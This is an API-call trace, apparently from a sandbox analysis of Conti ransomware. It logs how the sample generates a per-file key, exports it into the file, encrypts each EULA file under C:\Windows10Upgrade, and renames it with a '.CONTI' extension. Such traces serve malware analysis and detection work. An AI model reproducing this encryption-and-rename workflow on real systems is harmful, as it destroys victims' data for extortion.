	[0151.471] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.471] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0xe4b5, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xe4b5, lpOverlapped=0x0) returned 1
	[0151.477] CryptEncrypt (in: hKey=0x17dead0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xe4b5, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xe4c0) returned 1
	[0151.477] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.477] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xe4c0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xe4c0, lpOverlapped=0x0) returned 1
	[0151.477] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.477] WriteFile (in: hFile=0x448, lpBuffer=0x65d9298*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d9298*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.477] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.477] CloseHandle (hObject=0x448) returned 1
	[0151.478] GetProcessHeap () returned 0x1720000
	[0151.478] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.478] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm"
	[0151.478] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.CONTI"
	[0151.478] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm.conti")) returned 1
	[0151.478] GetProcessHeap () returned 0x1720000
	[0151.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.478] CryptDestroyKey (hKey=0x17dead0) returned 1
	[0151.478] GetProcessHeap () returned 0x1720000
	[0151.478] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c4eb8 | out: hHeap=0x1720000) returned 1
	[0151.478] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.478] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d2768 | out: phKey=0x65d2768*=0x17de990) returned 1
	[0151.478] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d276c, pdwDataLen=0x45bfa3c | out: pbData=0x65d276c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.479] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm")) returned 0x20
	[0151.481] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.482] GetLastError () returned 0x0
	[0151.482] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=75552) returned 1
	[0151.482] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12720
	[0151.482] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.482] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.483] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.483] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.483] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d276c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d276c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.487] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.487] ReadFile (in: hFile=0x4a0, lpBuffer=0xc100000, nNumberOfBytesToRead=0x12720, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x12720, lpOverlapped=0x0) returned 1
	[0151.488] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x12720, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x12730) returned 1
	[0151.489] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.489] WriteFile (in: hFile=0x4a0, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x12730, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x12730, lpOverlapped=0x0) returned 1
	[0151.489] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.489] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d2760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d2760*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.489] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.489] CloseHandle (hObject=0x4a0) returned 1
	[0151.489] GetProcessHeap () returned 0x1720000
	[0151.489] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.489] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm"
	[0151.489] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.CONTI"
	[0151.489] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm.conti")) returned 1
	[0151.490] GetProcessHeap () returned 0x1720000
	[0151.490] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.490] CryptDestroyKey (hKey=0x17de990) returned 1
	[0151.490] GetProcessHeap () returned 0x1720000
	[0151.490] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7acc0 | out: hHeap=0x1720000) returned 1
	[0151.490] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.490] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dcba8 | out: phKey=0x65dcba8*=0x17de990) returned 1
	[0151.490] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dcbac, pdwDataLen=0x45bfa3c | out: pbData=0x65dcbac*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.491] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm")) returned 0x20
	[0151.491] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.491] GetLastError () returned 0x0
	[0151.491] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=254145) returned 1
	[0151.491] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3e0c1
	[0151.491] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.492] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.492] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.492] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.492] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dcbac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dcbac*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.498] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.498] ReadFile (in: hFile=0x4a0, lpBuffer=0xc100000, nNumberOfBytesToRead=0x3e0c1, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x3e0c1, lpOverlapped=0x0) returned 1
	[0151.500] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x3e0c1, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x3e0d0) returned 1
	[0151.501] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.501] WriteFile (in: hFile=0x4a0, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x3e0d0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x3e0d0, lpOverlapped=0x0) returned 1
	[0151.501] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.501] WriteFile (in: hFile=0x4a0, lpBuffer=0x65dcba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dcba0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.502] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.502] CloseHandle (hObject=0x4a0) returned 1
	[0151.502] GetProcessHeap () returned 0x1720000
	[0151.502] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.502] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm"
	[0151.502] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.CONTI"
	[0151.502] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm.conti")) returned 1
	[0151.502] GetProcessHeap () returned 0x1720000
	[0151.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.502] CryptDestroyKey (hKey=0x17de990) returned 1
	[0151.502] GetProcessHeap () returned 0x1720000
	[0151.502] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b980 | out: hHeap=0x1720000) returned 1
	[0151.503] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.503] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dc960 | out: phKey=0x65dc960*=0x17debd0) returned 1
	[0151.503] CryptExportKey (in: hKey=0x17debd0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc964, pdwDataLen=0x45bfa3c | out: pbData=0x65dc964*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.503] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm")) returned 0x20
	[0151.505] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.506] GetLastError () returned 0x0
	[0151.506] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=266731) returned 1
	[0151.506] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x411eb
	[0151.506] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.506] SetEndOfFile (hFile=0x448) returned 1
	[0151.506] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.506] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.507] WriteFile (in: hFile=0x448, lpBuffer=0x65dc964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dc964*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.511] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.511] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0x411eb, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x411eb, lpOverlapped=0x0) returned 1
	[0151.514] CryptEncrypt (in: hKey=0x17debd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x411eb, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x411f0) returned 1
	[0151.515] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.515] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x411f0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x411f0, lpOverlapped=0x0) returned 1
	[0151.515] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.515] WriteFile (in: hFile=0x448, lpBuffer=0x65dc958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dc958*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.515] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.515] CloseHandle (hObject=0x448) returned 1
	[0151.516] GetProcessHeap () returned 0x1720000
	[0151.516] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.516] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm"
	[0151.516] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.CONTI"
	[0151.516] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm.conti")) returned 1
	[0151.516] GetProcessHeap () returned 0x1720000
	[0151.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.516] CryptDestroyKey (hKey=0x17debd0) returned 1
	[0151.516] GetProcessHeap () returned 0x1720000
	[0151.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b5c0 | out: hHeap=0x1720000) returned 1
	[0151.516] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.516] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dd038 | out: phKey=0x65dd038*=0x17de4d0) returned 1
	[0151.517] CryptExportKey (in: hKey=0x17de4d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd03c, pdwDataLen=0x45bfa3c | out: pbData=0x65dd03c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.517] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm")) returned 0x20
	[0151.517] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.518] GetLastError () returned 0x0
	[0151.518] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=147140) returned 1
	[0151.518] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23ec4
	[0151.518] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.518] SetEndOfFile (hFile=0x448) returned 1
	[0151.518] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.518] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.518] WriteFile (in: hFile=0x448, lpBuffer=0x65dd03c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dd03c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.524] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.524] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0x23ec4, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x23ec4, lpOverlapped=0x0) returned 1
	[0151.526] CryptEncrypt (in: hKey=0x17de4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x23ec4, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x23ed0) returned 1
	[0151.526] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.527] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x23ed0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x23ed0, lpOverlapped=0x0) returned 1
	[0151.527] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.527] WriteFile (in: hFile=0x448, lpBuffer=0x65dd030*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dd030*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.527] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.527] CloseHandle (hObject=0x448) returned 1
	[0151.527] GetProcessHeap () returned 0x1720000
	[0151.527] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.527] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm"
	[0151.527] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.CONTI"
	[0151.527] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm.conti")) returned 1
	[0151.528] GetProcessHeap () returned 0x1720000
	[0151.528] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.528] CryptDestroyKey (hKey=0x17de4d0) returned 1
	[0151.528] GetProcessHeap () returned 0x1720000
	[0151.528] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b278 | out: hHeap=0x1720000) returned 1
